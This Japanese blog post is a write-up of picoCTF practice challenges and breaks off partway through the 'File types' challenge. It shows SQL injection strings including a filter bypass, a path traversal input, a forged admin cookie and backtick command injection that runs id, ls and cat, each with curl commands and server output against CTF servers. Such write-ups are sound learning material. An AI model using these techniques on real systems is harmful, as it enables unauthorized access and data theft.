picoCTF picoGym Practice Challenges WriteUp その3

picoCTF よりpicoGym Practice ChallengesのWriteUp その3。

前記事が一定のボリュームに達したので、新記事を設けることにした。

解けた問題から順次WriteUpを追加していく予定。

※記事のボリュームが増えてきたので新記事を設けた。今後は新記事の方を更新予定。

過去のWriteUp記事の一覧はこちら

Includes (100points)

Webサイトhttp://saturn.picoctf.net:54554/を解析してフラグを取得する問題。

以下はwebサイトのソースコード。

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="style.css">
    <title>On Includes</title>
  </head>
  <body>
    <script src="script.js"></script>
  
    <h1>On Includes</h1>
    <p>Many programming languages and other computer files have a directive, 
       often called include (sometimes copy or import), that causes the 
       contents of a second file to be inserted into the original file. These 
       included files are called copybooks or header files. They are often used
       to define the physical layout of program data, pieces of procedural code
       and/or forward declarations while promoting encapsulation and the reuse
       of code.</p>
    <br>
    <p> Source: Wikipedia on Include directive </p>
    <button type="button" onclick="greetings();">Say hello</button>
  </body>
</html>

リンクされているstyle.cssscript.jsにフラグがハードコードされていた。

Inspect HTML (100points)

Webサイトhttp://saturn.picoctf.net:52681/を解析してフラグを取得する問題。

ソースコードを表示させるとフラグがハードコードされていた。

Local Authority (100points)

Webサイトhttp://saturn.picoctf.net:55983/を解析してフラグを取得する問題。

以下はWebサイトのソースコードである。


<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="style.css">
    <title>Secure Customer Portal</title>
  </head>
  <body>

    <h1>Secure Customer Portal</h1>
    
   <p>Only letters and numbers allowed for username and password.</p>
    
    <form role="form" action="login.php" method="post">
      <input type="text" name="username" placeholder="Username" required 
       autofocus></br>
      <input type="password" name="password" placeholder="Password" required>
      <button type="submit" name="login">Login</button>
    </form>
  </body>
</html>

フォームから入力されたユーザー名とパスワードをlogin.phpへPOSTする。

http://saturn.picoctf.net:55983/login.phpにアクセスしてみた。

$ curl -i http://saturn.picoctf.net:55983/login.php
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 06 Apr 2023 14:30:53 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="style.css">
    <title>Login Page</title>
  </head>
  <body>
    <script src="secure.js"></script>
    
    <p id='msg'></p>
    
    <form hidden action="admin.php" method="post" id="hiddenAdminForm">
      <input type="text" name="hash" required id="adminFormHash">
    </form>
    
    <script type="text/javascript">
      function filter(string) {
        filterPassed = true;
        for (let i =0; i < string.length; i++){
          cc = string.charCodeAt(i);
          
          if ( (cc >= 48 && cc <= 57) ||
               (cc >= 65 && cc <= 90) ||
               (cc >= 97 && cc <= 122) )
          {
            filterPassed = true;     
          }
          else
          {
            return false;
          }
        }
        
        return true;
      }
    
      window.username = "";
      window.password = "";
      
      usernameFilterPassed = filter(window.username);
      passwordFilterPassed = filter(window.password);
      
      if ( usernameFilterPassed && passwordFilterPassed ) {
      
        loggedIn = checkPassword(window.username, window.password);
        
        if(loggedIn)
        {
          document.getElementById('msg').innerHTML = "Log In Successful";
          document.getElementById('adminFormHash').value = "2196812e91c29df34f5e217cfd639881";
          document.getElementById('hiddenAdminForm').submit();
        }
        else
        {
          document.getElementById('msg').innerHTML = "Log In Failed";
        }
      }
      else {
        document.getElementById('msg').innerHTML = "Illegal character in username or password."
      }
    </script>
    
  </body>
</html>

login.phpの中にsecure.jsへのリンクを見つけた。以下はsecure.jsのソースコードである。

function checkPassword(username, password)
{
  if( username === 'admin' && password === 'strongPassword098765' )
  {
    return true;
  }
  else
  {
    return false;
  }
}

adminというユーザー名とstrongPassword098765というパスワードがハードコードされていた。

これらのユーザー名とパスワードをhttp://saturn.picoctf.net:55983/のフォームに入力して送信したところ、フラグを取れた。

Search source (100points)

Webサイトhttp://saturn.picoctf.net:52523/を解析してフラグを取得する問題。

とりあえずWebサイト内のリンクをひとつずつ確認したところ、http://saturn.picoctf.net:52523/css/style.cssにフラグがハードコードされていた。

picobrowser (200points)

Webサイトhttps://jupiter.challenges.picoctf.org/problem/26704/を解析してフラグを取得する問題。

問題の説明文によるとpicobrowserを使用してWebサイトにアクセスしないとフラグを取得できないとのこと。

ユーザーエージェントにpicobrowserと指定してhttps://jupiter.challenges.picoctf.org/problem/26704/flagにアクセスしたところフラグを取れた。

curl -i -H "User-Agent: picobrowser" https://jupiter.challenges.picoctf.org/problem/26704/flag

Client-side-again (200points)

Webサイト https://jupiter.challenges.picoctf.org/problem/56816/を解析してフラグを取得する問題。

ソースコードを表示させると配列の中にフラグがハードコードされていた。

var _0x5a46 = [
	'37115}',
	'_again_3',
	'this',
	'Password Verified',
	'Incorrect password',
	'getElementById',
	'value',
	'substring',
	'picoCTF{',
	'not_this'
];

Forbidden Paths (200points)

Webサイト http://saturn.picoctf.net:52278/を解析してフラグを取得する問題。

入力フォームに../../../../flag.txtと入力して送信するとファイルからフラグを読み出せた。

Power Cookie (200points)

Webサイト http://saturn.picoctf.net:57688/ を解析してフラグを取得する問題。

ソースコードを表示させるとguest.jsというファイルへのリンクを見つけた。

<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Secure Log In</title>
  </head>
  <body>
    <script src="guest.js"></script>

    <h1>Online Gradebook</h1>
    <button type="button" onclick="continueAsGuest();">Continue as guest</button>
  </body>
</html>

以下はguest.jsのソースコード。

function continueAsGuest()
{
  window.location.href = '/check.php';
  document.cookie = "isAdmin=0";
}

クッキーにisAdmin=1と指定してhttp://saturn.picoctf.net:57688/check.phpにアクセスすればフラグを取れると思われる。

以下のcurlコマンドでフラグを取れた。

curl -i http://saturn.picoctf.net:57688/check.php -H "Cookie: isAdmin=1"

Roboto Sans (200points)

Webサイトhttp://saturn.picoctf.net:64271/を解析してフラグを取得する問題。

http://saturn.picoctf.net:64271/robots.txtにアクセスするとBase64エンコードされた文字列が複数あり、そのうちのひとつがjs/myfile.txtにデコードされた。

http://saturn.picoctf.net:64271/js/myfile.txtにアクセスしたところフラグを取れた。

Irish-Name-Repo 1 (300points)

Webサイトhttps://jupiter.challenges.picoctf.org/problem/33850/を解析してフラグを取得する問題。

サイトの中にログインページhttps://jupiter.challenges.picoctf.org/problem/33850/login.htmlを見つけた。

以下はログインページのソースコード。

<html>
<head>
    <title>Login</title>
    <link rel="stylesheet" type="text/css" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-md-12">
            <div class="panel panel-primary" style="margin-top:50px">
                <div class="panel-heading">
                    <h3 class="panel-title">Log In</h3>
                </div>
                <div class="panel-body">
                    <form action="login.php" method="POST">
                        <fieldset>
                            <div class="form-group">
                                <label for="username">Username:</label>
                                <input type="text" id="username" name="username" class="form-control">
                            </div>
                            <div class="form-group">
                                <label for="password">Password:</label>
                                <div class="controls">
                                    <input type="password" id="password" name="password" class="form-control">
                                </div>
                            </div>
                            <input type="hidden" name="debug" value="0">

                            <div class="form-actions">
                                <input type="submit" value="Login" class="btn btn-primary">
                            </div>
                        </fieldset>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
</body>
</html>

usernamepassworddebugという3つのパラメータをlogin.phpへPOSTする模様。

debugパラメータのデフォルトの値は0である。

usernamepasswordに適当な値を指定し、debug1を指定してlogin.phpへPOSTしたところ、以下の応答があった。

$ curl -i https://jupiter.challenges.picoctf.org/problem/33850/login.php -d "username=admin" -d "password=admin" -d "debug=1"
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 10 Apr 2023 13:48:51 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Strict-Transport-Security: max-age=0

<pre>username: admin
password: admin
SQL query: SELECT * FROM users WHERE name='admin' AND password='admin'

SQLインジェクションが出来るっぽい。

ログインページのパスワードのフォームに' or '1' = '1と指定したところフラグを取れた。

Secrets (200points)

Webサイトhttp://saturn.picoctf.net:52025/を解析してフラグを取得する問題。

このサイトにはいくつかリンクが含まれていた。


<html>
  <head>
    <meta charset="UTF-8" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1, shrink-to-fit=no"
    />
    <meta name="description" content="" />
    <!-- Bootstrap core CSS -->
    <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet" />
    <!-- title -->
    <title>home</title>
    <!-- css -->
    <link href="secret/assets/index.css" rel="stylesheet" />
  </head>
  <body>
    <!-- ***** Header Area Start ***** -->
    <div class="topnav">
      <a class="active" href="#home">Home</a>
      <a href="about.html">About</a>
      <a href="contact.html">Contact</a>
    </div>

    <div class="imgcontainer">
      <img
        src="secret/assets/DX1KYM.jpg"
        alt="https://www.alamy.com/security-safety-word-cloud-concept-image-image67649784.html"
        class="responsive"
      />
      <div class="top-left">
        <h1>If security wasn't your job, would you do it as a hobby?</h1>
      </div>
    </div>
  </body>
</html>

リンクを確認していくうち、secret/assets/index.csssecret/assets/DX1KYM.jpgという2つのリンクが目についた。index.cssDX1KYM.jpgのファイル自体はただのスタイルシートと画像ファイルだったが、ファイルパスのsecret/assets/が怪しく感じられた。

このファイルパスに何か別のファイルがあるのでは?と当たりをつけてURLのパスをいじったところ、http://saturn.picoctf.net:52025/secret/に以下のページを見つけた。

<html>
  <head>
    <title></title>
    <link rel="stylesheet" href="hidden/file.css" />
  </head>

  <body>
    <h1>Finally. You almost found me. you are doing well</h1>
    <img src="https://media1.tenor.com/images/0a6aff9f825af62c05adfbd75039cc7b/tenor.gif?itemid=4648337" alt="Something Like That GIF - Andy Parksandrecreation Wtf GIFs" style="max-width: 833px; background-color: rgb(151, 121, 85);" width="833" height="937.125">
  </body>
</html>

hidden/file.cssへのリンクが含まれていた。file.cssは空のファイルだったが、ファイルパスのhttp://saturn.picoctf.net:52025/secret/hidden/にアクセスしたところ、以下のページが表示された。

<html>
  <head>
    <title>LOGIN</title>
    <!-- css -->
    <link href="superhidden/login.css" rel="stylesheet" />
  </head>
  <body>
    <form>
      <div class="container">
        <form method="" action="/secret/assets/popup.js">
          <div class="row">
            <h2 style="text-align: center">
              Login with Social Media or Manually
            </h2>
            <div class="vl">
              <span class="vl-innertext">or</span>
            </div>

            <div class="col">
              <a href="#" class="fb btn">
                <i class="fa fa-facebook fa-fw"></i> Login with Facebook
              </a>
              <a href="#" class="twitter btn">
                <i class="fa fa-twitter fa-fw"></i> Login with Twitter
              </a>
              <a href="#" class="google btn">
                <i class="fa fa-google fa-fw"></i> Login with Google+
              </a>
            </div>

            <div class="col">
              <div class="hide-md-lg">
                <p>Or sign in manually:</p>
              </div>

              <input
                type="text"
                name="username"
                placeholder="Username"
                required
              />
              <input
                type="password"
                name="password"
                placeholder="Password"
                required
              />
              <input type="hidden" name="db" value="superhidden/xdfgwd.html" />

              <input
                type="submit"
                value="Login"
                onclick="alert('Thank you for the attempt but oops! try harder. better luck next time')"
              />
            </div>
          </div>
        </form>
      </div>

      <div class="bottom-container">
        <div class="row">
          <div class="col">
            <a href="#" style="color: white" class="btn">Sign up</a>
          </div>
          <div class="col">
            <a href="#" style="color: white" class="btn">Forgot password?</a>
          </div>
        </div>
      </div>
    </form>
  </body>
</html>

superhidden/という不審なファイルパスへのリンクを発見した。

http://saturn.picoctf.net:52025/secret/hidden/superhidden/にアクセスしてソースコードを表示させたところフラグを取れた。

caas (150points)

Webサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。

Cowsay as a Service

Make a request to the following URL to cowsay your message:
https://caas.mars.picoctf.net/cowsay/{message}

https://caas.mars.picoctf.net/cowsay/{message}{message}部分に任意のメッセージを付与してリクエストを送れとのこと。

試しにhogeというメッセージを送ってみた。

$ curl -i https://caas.mars.picoctf.net/cowsay/hoge
HTTP/2 200
content-type: text/plain; charset=utf-8
date: Tue, 11 Apr 2023 13:34:09 GMT
etag: W/"94-1/zVCGLe6MYX/AagE/3F8+bSOtA"
x-powered-by: Express
content-length: 148

 ______
< hoge >
 ------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

送信したメッセージがサーバーからechoされているのが分かる。

この問題ではプログラムのソースコードも渡された。

以下は渡されたソースコードindex.jsの内容である。

const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

コマンドインジェクションの脆弱性がありそうな感じである。

色々試してみたところ、メッセージをバッククォート(`)で囲んでやれば任意のコマンドを実行できることが分かった。

例えばidコマンドを実行したい場合は以下のようにする。

https://caas.mars.picoctf.net/cowsay/`id`

以下はidコマンドの実行結果である。(バッククォートをURLエンコードする必要がある。`id` => %60id%60

$ curl -i https://caas.mars.picoctf.net/cowsay/%60id%60
HTTP/2 200
content-type: text/plain; charset=utf-8
date: Tue, 11 Apr 2023 13:40:22 GMT
etag: W/"101-cC5g7c0qBSOkt/MbEPm81CKru+s"
x-powered-by: Express
content-length: 257

 _______________________________
/ uid=1000(node) gid=1000(node) \
\ groups=1000(node)             /
 -------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

idコマンドの実行に成功しているのが分かる。

続いてlsコマンドを送ってみた。

$ curl -i https://caas.mars.picoctf.net/cowsay/%60ls%60
HTTP/2 200
content-type: text/plain; charset=utf-8
date: Tue, 11 Apr 2023 13:49:16 GMT
etag: W/"132-L68W5ptbNE2ZAego7u3GZSydPF0"
x-powered-by: Express
content-length: 306

 __________________________________
/ Dockerfile falg.txt index.js     \
| node_modules package.json public |
\ yarn.lock                        /
 ----------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

サーバーの応答の中にfalg.txtという気になるファイルを発見した。

cat falg.txtコマンドでファイルの中身を読み出したところフラグを取れた。(コマンドをURLエンコードすると%60cat%20falg.txt%60となる。)

$ curl -i https://caas.mars.picoctf.net/cowsay/%60cat%20falg.txt%60
HTTP/2 200
content-type: text/plain; charset=utf-8
date: Tue, 11 Apr 2023 13:52:10 GMT
etag: W/"129-5hoRF837xn6M0DF6P27jkcTOrwk"
x-powered-by: Express
content-length: 297

 _________________________________________
/ picoCTF{mo<REDACTED> \
\ <REDACTED>}       /
 -----------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Some Assembly Required 2 (110points)

Webサイトhttp://mercury.picoctf.net:7319/index.htmlを解析してフラグを取得する問題。

Chrome Developer toolsでデバッグしてみたところ、WebAssembly (Wasm) を発見。

CyberChefを利用してハードコードされていたxakgK\5cNs9=8:9l1?im8i<89?00>88k09=nj9kimnuをXORブルートフォースしたところ、XOR鍵が8の時にフラグを復号できた。

Some Assembly Required 3 (160points)

Webサイトhttp://mercury.picoctf.net:47240/index.htmlを解析してフラグを取得する問題。

Chrome Developer toolsでデバッグしてみたところ、WebAssembly (Wasm) を発見。

アセンブリを読んだところ、0x9d6e93c8b2b9418b94c6df33c0c595de37c39f93df3fc9c3c28c329390c18e65959fc28c36c895c090とXOR鍵0xed07f0a7f1をXORすればフラグを取れることが分かった。

ちなみに0x9d6e93c8b2b9418b94c6df33c0c595de37c39f93df3fc9c3c28c329390c18e65959fc28c36c895cという値は、適当な箇所にブレークポイントをセットした後にModuleからMemory Inspectorパネルを開いてメモリの中身を確認することで取得した。(Wasmにも値がハードコードされているがエンコード形式がHEX形式に統一されていない)

findme (100points)

Webサイトhttp://saturn.picoctf.net:50566/を解析してフラグを取得する問題。(サーバーのポート番号はインスタンスを起動するたびに変更される。)

ユーザー名にtest、パスワードにtest!と指定してログインせよとのこと。

以下はサイトのソースコードである。

<html>

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<title>Welcome</title>
	<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootswatch/3.2.0/united/bootstrap.min.css" />
	<style type="text/css">
		.form-signin {
			width: 100%;
			max-width: 420px;
			padding: 15px;
			margin: auto;
		}
	</style>
</head>

<body>
	<div class="text-center">
		<h1>Help us test this form</h1>
		<h1>username:test and password:test.</h1>
	</div>
	<form class="form-signin" action="/login" method="post">
		<div class="text-center mb-4">
			<!-- user input-->

			<label for="username">Username</label>
			<input type="text" id="username" name="username" placeholder="username" class="form-control" required autofocus />
			<label for="password">Password</label>
			<input type="password" id="password" name="password" class="form-control" placeholder="Password" required />
			<br.>
				<!-- submit button -->
				<input type="submit" id="loginForm" class="btn btn-success" value="test" />

		</div>
	</form>
</body>

</html>

ユーザー名とパスワードをhttp://saturn.picoctf.net:50566/loginにPOSTする模様。

試しにcurlでユーザー名とパスワードを送信してみた。

curl -i http://saturn.picoctf.net:50566/login -d "username=test" -d "password=test!"
HTTP/1.1 302 Found
X-Powered-By: Express
Location: /next-page/id=cGljb0NURntwcm94aWVzX2Fs
Vary: Accept
Content-Type: text/plain; charset=utf-8
Content-Length: 60
Date: Fri, 21 Apr 2023 14:38:45 GMT
Connection: keep-alive
Keep-Alive: timeout=5

ログインに成功するとhttp://saturn.picoctf.net:50566/next-page/id=cGljb0NURntwcm94aWVzX2Fsへリダイレクトされる模様。

リダイレクト先のURLにアクセスしてみた。

$ curl -i http://saturn.picoctf.net:50566/next-page/id=cGljb0NURntwcm94aWVzX2Fs
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 264
ETag: W/"108-2c/l4/EYW1/dJrVVTIRHF/g1qGI"
Date: Fri, 21 Apr 2023 14:40:12 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<head>
    <title>flag</title>
</head>
<body>
    <script>
        setTimeout(function () {
           // after 2 seconds
           window.location = "/next-page/id=bF90aGVfd2F5X2JlNzE2ZDhlfQ==";
        }, 0.5)
      </script>
    <p></p>
</body>

今度はhttp://saturn.picoctf.net:50566/next-page/id=bF90aGVfd2F5X2JlNzE2ZDhlfQ==にリダイレクトされる模様。

2つのリダイレクト先のURLを注視してみると、id=以降の値がBase64エンコードされているように見受けられた。

  • http://saturn.picoctf.net:50566/next-page/id=cGljb0NURntwcm94aWVzX2Fs
  • http://saturn.picoctf.net:50566/next-page/id=bF90aGVfd2F5X2JlNzE2ZDhlfQ==

id=以降の値をBase64デコードしたところ、フラグを取れた。

echo cGljb0NURntwcm94aWVzX2Fs | base64 -d

echo bF90aGVfd2F5X2JlNzE2ZDhlfQ== | base64 -d

MatchTheRegex (100points)

Webサイトhttp://saturn.picoctf.net:60700/を解析してフラグを取得する問題。(サーバーのポート番号はインスタンスを起動するたびに変更される。)

入力フォームにpicoCTFと入力して送信するだけでフラグを取れた。

SQL Direct (200points)

PostgreSQLのデータベースに接続してフラグを取得する問題。

以下のコマンドでPostgreSQLサーバーに接続するように指示された。パスワードはpostgres。(サーバーのポート番号はインスタンスを起動するたびに変更される。)

psql -h saturn.picoctf.net -p 54650 -U postgres pico

自分の解析環境にはpsqlコマンドがインストールされていなかったので、以下のコマンドでインストールした。

sudo apt-get install postgresql-client

PostgreSQLサーバーに接続した後は、\dtコマンドでテーブルの一覧を確認した。

$ psql -h saturn.picoctf.net -p 54650 -U postgres pico
Password for user postgres:
psql (14.7 (Ubuntu 14.7-0ubuntu0.22.04.1), server 15.2 (Debian 15.2-1.pgdg110+1))
WARNING: psql major version 14, server major version 15.
         Some psql features might not work.
Type "help" for help.

pico=# \dt
         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | flags | table | postgres
(1 row)

flagsというテーブルがひとつあるだけだった。

select * from flags;でフラグを取得することができた。

pico=# select * from flags;
 id | firstname | lastname  |                address
----+-----------+-----------+----------------------------------------
  1 | Luke      | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_<REDACTED>}
  2 | Leia      | Organa    | Alderaan
  3 | Han       | Solo      | Corellia
(3 rows)

Irish-Name-Repo 2 (350points)

Webサイトhttps://jupiter.challenges.picoctf.org/problem/64649/を解析してフラグを取得する問題。

Irish-Name-Repo 1の時と同様、サイトの中にログインページhttps://jupiter.challenges.picoctf.org/problem/64649/login.htmlを見つけた。

以下はログインページのソースコード。

<html>
<head>
    <title>Login</title>
    <link rel="stylesheet" type="text/css" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-md-12">
            <div class="panel panel-primary" style="margin-top:50px">
                <div class="panel-heading">
                    <h3 class="panel-title">Log In</h3>
                </div>
                <div class="panel-body">
                    <form action="login.php" method="POST">
                        <fieldset>
                            <div class="form-group">
                                <label for="username">Username:</label>
                                <input type="text" id="username" name="username" class="form-control">
                            </div>
                            <div class="form-group">
                                <label for="password">Password:</label>
                                <div class="controls">
                                    <input type="password" id="password" name="password" class="form-control">
                                </div>
                            </div>
                            <input type="hidden" name="debug" value="0">

                            <div class="form-actions">
                                <input type="submit" value="Login" class="btn btn-primary">
                            </div>
                        </fieldset>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
</body>
</html>

usernamepassworddebugという3つのパラメータをlogin.phpへPOSTする模様。

debugパラメータのデフォルトの値は0である。

debugパラメータに1を指定し、パスワードに' or '1' = '1と指定し送信したところ、SQLインジェクションとして検知されてしまった。

$ curl -i https://jupiter.challenges.picoctf.org/problem/64649/login.php -d "username=admin" -d "password=' or '1' = '1" -d "debug=1"
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Apr 2023 14:27:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Strict-Transport-Security: max-age=0

<pre>username: admin
password: ' or '1' = '1
SQL query: SELECT * FROM users WHERE name='admin' AND password='' or '1' = '1'
</pre><h1>SQLi detected.</h1>

パスワードにシングルクォート (')やorが含まれていた場合、SQLインジェクションとして弾かれてしまう模様。

シングルクォートやorをURLエンコードしたり難読化することでSQLインジェクションの検知を回避できないか試してみたがダメだった。

行き詰ったのでヒントを見てみた。以下、公式のヒント。

The password is being filtered.

ということは、裏を返せばユーザー名はSQLインジェクション対策されていないということだろうか?

debugパラメータに1を指定し、ユーザー名にadmin' --と指定したところ、フラグを取れた。

$ curl -i https://jupiter.challenges.picoctf.org/problem/64649/login.php -d "username=admin' --" -d "debug=1"
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Apr 2023 14:16:57 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Strict-Transport-Security: max-age=0

<pre>username: admin' --
password:
SQL query: SELECT * FROM users WHERE name='admin' --' AND password=''
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{m0R3_SQL_plz_<REDACTED>}</p>

Irish-Name-Repo 3 (400points)

Webサイトhttps://jupiter.challenges.picoctf.org/problem/54253/を解析してフラグを取得する問題。

Irish-Name-Repo 1Irish-Name-Repo 2の時と同様、サイトの中にログインページhttps://jupiter.challenges.picoctf.org/problem/54253/login.htmlを見つけた。

以下はログインページのソースコード。

<html>
<head>
    <title>Login</title>
    <link rel="stylesheet" type="text/css" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-md-12">
            <div class="panel panel-primary" style="margin-top:50px">
                <div class="panel-heading">
                    <h3 class="panel-title">Admin Log In</h3>
                </div>
                <div class="panel-body">
                    <form action="login.php" method="POST">
                        <fieldset>
                            <div class="form-group">
                                
                                <label for="password">Password:</label>
                                <div class="controls">
                                    <input type="password" id="password" name="password" class="form-control">
                                </div>
                            </div>
                            <input type="hidden" name="debug" value="0">

                            <div class="form-actions">
                                <input type="submit" value="Login" class="btn btn-primary">
                            </div>
                        </fieldset>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
</body>
</html>

passworddebugという2つのパラメータをlogin.phpへPOSTする模様。

debugパラメータのデフォルトの値は0である。

debugパラメータに1を指定し、パスワードに' or '1' = '1と指定し送信したところ、以下の応答があった。

$ curl -i https://jupiter.challenges.picoctf.org/problem/54253/login.php -d "password=' or '1' = '1" -d "debug=1"
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Wed, 26 Apr 2023 14:17:41 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

<pre>password: ' or '1' = '1
SQL query: SELECT * FROM admin where password = '' be '1' = '1'
</pre>

レスポンスに含まれているSELECT * FROM admin where password = '' be '1' = '1'beとはorをROT13エンコードしたものである。

debugパラメータに1を指定し、パスワードに' be '1' = '1と指定し送信したところ、フラグを取れた。

$ curl -i https://jupiter.challenges.picoctf.org/problem/54253/login.php -d "password=' be '1' = '1" -d "debug=1"
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 26 Apr 2023 14:18:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Strict-Transport-Security: max-age=0

<pre>password: ' be '1' = '1
SQL query: SELECT * FROM admin where password = '' or '1' = '1'
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{3v3n_m0r3_SQL_<REDACTED>}</p>

Enhance! (100points)

ファイルdrawing.flag.svgを解析してフラグを取得する問題。

ファイルにフラグがハードコードされていた。

style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3748">p </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.08942"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3754">i </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.09383"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3756">c </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.09824"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3758">o </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.10265"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3760">C </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.10706"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3762">T </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.11147"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3764">F { 3 n h 4 n </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.11588"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3752">c 3 d _ <REDACTED> }</tspan></text>
  </g>
</svg>

Lookey here (100points)

ファイルanthem.flag.txtを解析してフラグを取得する問題。

grepするだけでフラグを取れた。

$ grep -i pico anthem.flag.txt
      we think that the men of picoCTF{gr3p_15_@<REDACTED>}

Packets Primer (100points)

PCAPファイルnetwork-dump.flag.pcapを解析してフラグを取得する問題。

WiresharkでFollow TCP Streamするだけでフラグを取れた。

Redaction gone wrong (100points)

PDFファイルFinancial_Report_for_ABC_Labs.pdfを解析してフラグを取得する問題。

ファイルを開いてみると文章が所々黒塗りで塗りつぶされていた。

文章をノートパッドにコピペしたところ黒塗りの部分が読めるようになりフラグを取れた。

shark on wire 1 (150points)

PCAPファイルcapture.pcapを解析してフラグを取得する問題。

WiresharkでFollow UDP Streamするだけでフラグを取れた。フラグはUDPストリーム番号6に記載されていた。

So Meta (150points)

画像ファイルpico_img.pngを解析してフラグを取得する問題。

ファイルをstringsにかけるだけでフラグを取れた。

$ strings pico_img.png | grep -i pico
picoCTF{s0_m3ta_<REDACTED>}

extensions (150points)

ファイルflag.txtを解析してフラグを取得する問題。

flag.txtはテキストファイルではなくPNG画像ファイルだった。

拡張子を.pngに変更してファイルを開くとフラグを取れた。

What Lies Within (150points)

PNG画像ファイルbuildings.pngを解析してフラグを取得する問題。

binwalk、stegsolve、exiftoolなどで画像を調べてみたが特にこれといった発見はなかった。

ヘッダーをいじって画像の高さや幅を変更してみたが、こちらも空振りに終わった。

ヒントを見てみた。

There is data encoded somewhere... there might be an online decoder.

どうやら画像の中にエンコードされたデータが埋め込まれているらしい。

こちらのサイトに画像ファイルをアップロードしてデコードしたところ、フラグを取れた。

File types (100points)

ファイルFlag.pdfを解析してフラグを取得する問題。

Flag.pdfは実際にはPDFではなく、Bashシェルスクリプトだった。

Flag.pdfを実行したところflagというファイルが作成された。

$ sh Flag.pdf
x - created lock directory _sh00046.
x - extracting flag (text)
x - removed lock directory _sh00046.
$ ls -lh
total 12K
-rw-r--r-- 1 sansforensics sansforensics 1.1K Mar 16 01:40 flag
-rwxrw-rw- 1 sansforensics sansforensics 5.1K May  6 15:35 Flag.pdf

ファイルflagはar圧縮されていた。

$ file flag 
flag: current ar archive

ファイル名をflag.arに変更してarコマンドで解凍したところ、今度はcpio圧縮されたflagファイルが作成された。

$ ar x flag.ar 
$ ls -lh
total 16K
-rw-r--r-- 1 sansforensics sansforensics 1.0K May  7 15:07 flag
